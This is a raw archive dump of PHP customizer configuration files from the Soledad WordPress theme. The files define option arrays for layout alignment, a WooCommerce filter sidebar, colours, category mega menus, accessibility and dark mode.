	'label'    => __( 'Maxium Excerpt Lines', 'soledad' ),
	'id'       => 'penci_standard_excerpt_line',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_standard_excerpt_line',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Header Alignment', 'soledad' ),
	'id'       => 'penci_stahea_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''       => esc_html__( 'Default', 'soledad' ),
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Post Excerpt Alignment', 'soledad' ),
	'id'       => 'penci_staex_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => esc_html__( 'Default', 'soledad' ),
		'left'    => esc_html__( 'Left', 'soledad' ),
		'center'  => esc_html__( 'Center', 'soledad' ),
		'right'   => esc_html__( 'Right', 'soledad' ),
		'justify' => esc_html__( 'Justify', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( '"Continue Reading" Button Alignment', 'soledad' ),
	'id'       => 'penci_stacoti_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''       => esc_html__( 'Default', 'soledad' ),
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' ),
	)
);

return $options;
PK     N\    I  inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.phpnu [        <?php
$options = [];
/*Filter Sidebar*/
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_enable',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Slidebar Filter ?', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woo_fw_panel_pst',
	'default'  => 'side-right',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Slidebar Filter Position', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'side-right' => __('Side Right','soledad' ),
		'side-left'  => __('Side Left','soledad' ),
	)
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_margin',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Space Between Widgets', 'soledad' ),
	'ids'      => array(
		'desktop' => 'pencidesign_woo_filter_widget_margin',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_heading_lowcase',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase Widget Heading', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_heading_size',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Widget Heading Text Size', 'soledad' ),
	'ids'      => array(
		'desktop' => 'pencidesign_woo_filter_widget_heading_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),

);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_heading_style',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sidebar Widget Heading Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''                  => __('Default','soledad' ),
		'style-1'           => __('Style 1','soledad' ),
		'style-2'           => __('Style 2','soledad' ),
		'style-3'           => __('Style 3','soledad' ),
		'style-4'           => __('Style 4','soledad' ),
		'style-5'           => __('Style 5','soledad' ),
		'style-6'           => __('Style 6 - Only Text','soledad' ),
		'style-7'           => __('Style 7','soledad' ),
		'style-9'           => __('Style 8','soledad' ),
		'style-8'           => __('Style 9 - Custom Background Image','soledad' ),
		'style-10'          => __('Style 10','soledad' ),
		'style-11'          => __('Style 11','soledad' ),
		'style-12'          => __('Style 12','soledad' ),
		'style-13'          => __('Style 13','soledad' ),
		'style-14'          => __('Style 14','soledad' ),
		'style-15'          => __('Style 15','soledad' ),
		'style-16'          => __('Style 16','soledad' ),
		'style-2 style-17'  => __('Style 17','soledad' ),
		'style-18'          => __('Style 18','soledad' ),
		'style-18 style-19' => __('Style 19','soledad' ),
		'style-18 style-20' => __('Style 20','soledad' ),
		'style-21'          => __( 'Style 21', 'soledad' ),
		'style-22'          => __( 'Style 22', 'soledad' ),
		'style-23'          => __( 'Style 23', 'soledad' ),
		'style-24'          => __( 'Style 24', 'soledad' ),
		'style-25'          => __( 'Style 25', 'soledad' ),
		'style-26'          => __( 'Style 26', 'soledad' ),
		'style-27'          => __( 'Style 27', 'soledad' ),
		'style-28'          => __( 'Style 28', 'soledad' ),
	)
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_heading_image_9',
	'default'  => '',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
	'label'    => __( 'Custom Background Image for Style 9', 'soledad' ),
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_heading9_repeat',
	'default'  => 'no-repeat',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Repeat for Style 9', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'no-repeat' => __('No Repeat','soledad' ),
		'repeat'    => __('Repeat','soledad' ),
	)
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_heading_align',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sidebar Widget Heading Align', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''               => __('Default','soledad' ),
		'pcalign-center' => __('Center','soledad' ),
		'pcalign-left'   => __('Left','soledad' ),
		'pcalign-right'  => __('Right','soledad' ),
	)
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_remove_border_outer',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Outer on Widget Heading', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'pencidesign_woo_filter_widget_remove_arrow_down',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Arrow Down on Widget Heading', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);

return $options;
PK     N\SM(  (  F  inc/customizer/config/sections/penci_section_layout_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Standard & Classic', 'soledad' ),
	'description'=>__('All options here apply for Standard Layout, Classic Layout and 1st Posts of 1st Standard & 1st Classic Layout.','soledad'),
	'id'          => 'penci_standar_classic_heading_color',
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Categories Color', 'soledad' ),
	'id'       => 'penci_standard_categories_action_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'id'       => 'penci_standard_title_post_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Hover Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'id'       => 'penci_standard_title_post_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'id'       => 'penci_standard_meta_post_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Author Name Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'id'       => 'penci_standard_author_post_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( '"Continue Reading" Color', 'soledad' ),
	'type'     => 'soledad-fw-color',
	'id'       => 'penci_standard_readmore_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( '"Continue Reading" Background Color', 'soledad' ),
	'id'       => 'penci_standard_readmore_bg',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Icons Color', 'soledad' ),
	'id'       => 'penci_standard_share_icon_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Icons Hover Color', 'soledad' ),
	'id'       => 'penci_standard_share_icon_hover_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_standard_accent_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Other Layouts', 'soledad' ),
	'id'       => 'penci_other_layouts_heading_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Categories Accent Color', 'soledad' ),
	'id'       => 'penci_masonry_categories_accent_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Color', 'soledad' ),
	'id'       => 'penci_masonry_title_post_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Hover Color', 'soledad' ),
	'id'       => 'penci_masonry_title_post_hover_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_masonry_meta_color',
	'type'     => 'soledad-fw-color',

);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Author Name & Comment Count Color', 'soledad' ),
	'id'       => 'penci_masonry_author_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( '"Read More" Link/Button Color', 'soledad' ),
	'id'       => 'penci_masonry_readmore_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( '"Read More" Button Background Color', 'soledad' ),
	'id'       => 'penci_masonry_readmore_bg',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Icons Color', 'soledad' ),
	'id'       => 'penci_masonry_box_icon',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Icons Hover Color', 'soledad' ),
	'id'       => 'penci_masonry_box_icon_hover',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Icons Color on Featured Boxed Layout', 'soledad' ),
	'id'       => 'penci_masonry_box_ficon',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Icons Hover Color on Featured Boxed Layout', 'soledad' ),
	'id'       => 'penci_masonry_box_ficon_hover',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Share Box Background Color on Featured Boxed Layout', 'soledad' ),
	'id'       => 'penci_masonry_box_icon_bg',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_masonry_accent_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Overlay Background Color on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_overlay_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '0.3',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Overlay Background Opacity on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_overlay_opacity',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'default'  => '0.7',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Overlay Background Hover Opacity on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_overlay_hover_opacity',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Categories Color on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_categories_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Color on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_title_post_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Hover Color on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_title_post_hover_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Meta Color on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_meta_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Accent Color on Photography Layout', 'soledad' ),
	'id'       => 'penci_photography_accent_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Color on Overlay Layout', 'soledad' ),
	'id'       => 'penci_overlay_title_post_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Post Titles Hover Color on Overlay Layout', 'soledad' ),
	'id'       => 'penci_overlay_title_post_hover_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Categories Post Color on Overlay Layout', 'soledad' ),
	'id'       => 'penci_overlay_cat_post_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Categories Post Hover Color on Overlay Layout', 'soledad' ),
	'id'       => 'penci_overlay_cat_hover_post_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Author Color on Overlay Layout', 'soledad' ),
	'id'       => 'penci_overlay_author_post_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Grid Boxed 3 - Background Color', 'soledad' ),
	'id'       => 'penci_grid3_bg_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Grid Boxed 4 - Background Color', 'soledad' ),
	'id'       => 'penci_grid4_bg_color',
	'type'     => 'soledad-fw-color',
);

return $options;
PK     N\!PIs  s  T  inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.phpnu [        <?php
$options   = array();
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Custom Border Radius for Images on Category Mega Menu', 'soledad' ),
	'id'          => 'penci_megamenu_border_radius',
	'type'        => 'soledad-fw-text',
	'description' => __( 'You can use pixel or percent. E.g:  <strong>10px</strong>  or  <strong>10%</strong>. If you want to disable border radius for it - fill 0', 'soledad' ),
);
$options[] = array(
	'default'  => 'horizontal',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Featured Images Type for Category Mega Menu', 'soledad' ),
	'id'       => 'penci_mega_featured_image_size',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
		'square'     => esc_html__( 'Square Size', 'soledad' ),
		'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
		'custom'     => esc_html__( 'Custom', 'soledad' ),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'type'        => 'soledad-fw-text',
	'label'       => __( 'Custom Aspect Ratio for Featured Images Type for Category Mega Menu', 'soledad' ),
	'id'          => 'penci_mega_featured_image_ratio',
	'description' => __( 'The aspect ratio of an element describes the proportional relationship between its width and its height. E.g: <strong>3:2</strong>. Default is 3:2 . This option apply  for <strong>Featured Images Type for Category Mega Menu is Custom</strong>', 'soledad' ),
);
$options[] = array(
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Use AJAX Loading for Category Mega Menus', 'soledad' ),
	'id'       => 'penci_megamenu_ajax_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide "All" tab on Category Mega Menu', 'soledad' ),
	'id'       => 'penci_topbar_mega_hide_alltab',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '8',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Words Length for Post Titles on Category Mega Menu', 'soledad' ),
	'id'       => 'penci_megamenu_title_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_megamenu_title_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '8',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Post Format Icons on Category Mega Menu', 'soledad' ),
	'id'       => 'penci_topbar_mega_icons',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Category On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_topbar_mega_category',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_topbar_mega_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase Post Titles On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_off_uppercase_cat_mega',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Child Categories On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_font_size_child_cat_mega',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_child_cat_mega',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Category Name On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_font_size_cat_mega',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_cat_mega',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '10',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Titles On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_font_size_title_cat_mega',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_title_cat_mega',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Date On Category Mega Menu', 'soledad' ),
	'id'       => 'penci_font_size_date_mega',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_date_mega',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);

return $options;
PK     N\>׳W    L  inc/customizer/config/sections/pencidesign_general_accessibility_section.phpnu [        <?php
$options = [];

$options[] = array(
	'label'           => __( 'General', 'soledad' ),
	'id'              => 'penci_accessibility_heading_03',
	'type'            => 'soledad-fw-header',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Enable Commons Accessibility Options', 'soledad' ),
	'description'     => __( 'Enable this option to access the settings below.', 'soledad' ),
	'id'              => 'penci_accessibility_enable',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'label'           => __( 'Standard Accessibility', 'soledad' ),
	'id'              => 'penci_accessibility_heading_01',
	'type'            => 'soledad-fw-header',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Enable Skiplinks', 'soledad' ),
	'id'              => 'penci_accessibility_skiplinks',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Skiplinks always visible', 'soledad' ),
	'id'              => 'penci_accessibility_skiplinks_visible',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Remove tabindex from focusable elements', 'soledad' ),
	'id'              => 'penci_accessibility_rm_tabindex',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Force underline on links', 'soledad' ),
	'id'              => 'penci_accessibility_underline',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Add outline to elements on keyboard focus', 'soledad' ),
	'id'              => 'penci_accessibility_focus',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Use Keyboard to Navigate Next/Previous Posts', 'soledad' ),
	'id'              => 'penci_accessibility_key_prext',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Add Missing IMG Alt Tag', 'soledad' ),
	'id'              => 'penci_accessibility_img_alt',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Force Add a Title Attribute to an HTML Tag', 'soledad' ),
	'id'              => 'penci_accessibility_title_attr',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Disable All Theme Animations', 'soledad' ),
	'id'              => 'penci_accessibility_animate',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'label'           => __( 'Enhanced Accessibility', 'soledad' ),
	'id'              => 'penci_accessibility_heading_02',
	'type'            => 'soledad-fw-header',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Enable Enhanced Accessibility Features', 'soledad' ),
	'description' 	  => __( 'Enables comprehensive WCAG compliance features including improved navigation, form handling, and screen reader support.', 'soledad' ),
	'id'              => 'penci_accessibility_enhanced',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Enhanced Keyboard Navigation', 'soledad' ),
	'id'              => 'penci_accessibility_enhanced_nav',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'ARIA Live Regions', 'soledad' ),
	'id'              => 'penci_accessibility_aria_live',
	'type'            => 'soledad-fw-toggle',
);

$options[] = array(
	'default'         => false,
	'sanitize'        => 'penci_sanitize_checkbox_field',
	'label'           => __( 'Enhanced Form Labels', 'soledad' ),
	'id'              => 'penci_accessibility_form_labels',
	'type'            => 'soledad-fw-toggle',
);

return $options;PK     N\n=    J  inc/customizer/config/sections/pencidesign_general_colors_dark_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => esc_html__( 'Dark Mode Switcher', 'soledad' ),
	'id'       => 'penci_dm_switcher_heading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);

$options[] = array(
	'label'    => __( 'Enable Dark Mode Switcher', 'soledad' ),
	'id'       => 'penci_dms_enable',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'    => __( 'Set Dark Mode as Default', 'soledad' ),
	'id'       => 'penci_dms_dark_default',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'    => __( 'Switcher Style', 'soledad' ),
	'id'       => 'penci_dms_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'1' => __('Style 1','soledad' ),
		'2' => __('Style 2','soledad' ),
		'3' => __('Style 3','soledad' ),
		'4' => __('Style 4','soledad' ),
	),
	'default'  => '3',
	'sanitize' => 'penci_sanitize_choices_field'
);

$options[] = array(
	'label'    => esc_html__( 'Auto Dark Mode', 'soledad' ),
	'id'       => 'penci_dms_auto_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'disable' => __('Disable','soledad' ),
		'os'      => __('By Operating System','soledad' ),
		'time'    => __('By User Time','soledad' ),
	),
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => esc_html__( 'Dark Mode Colors', 'soledad' ),
	'id'       => 'penci_dm_switcher_heading_2',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => esc_html__( 'Logo for Dark Mode', 'soledad' ),
	'id'       => 'penci_menu_logo_dark',
	'type'     => 'soledad-fw-image',
);

$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => esc_html__( 'Logo for Vertical Mobile Navigation', 'soledad' ),
	'id'       => 'penci_menu_logosidebar_dark',
	'type'     => 'soledad-fw-image',
);

$options[] = array(
	'label'    => __( 'Background Color for Body', 'soledad' ),
	'id'       => 'penci_dm_bg_color_dark',
	'default'  => '#000000',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => __( 'General Border Color', 'soledad' ),
	'id'       => 'penci_dm_border_color_dark',
	'default'  => '#333333',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_accent_color_dark',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => __( 'Link Color', 'soledad' ),
	'id'       => 'penci_link_color_dark',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => __( 'Link Hover Color', 'soledad' ),
	'id'       => 'penci_link_hcolor_dark',
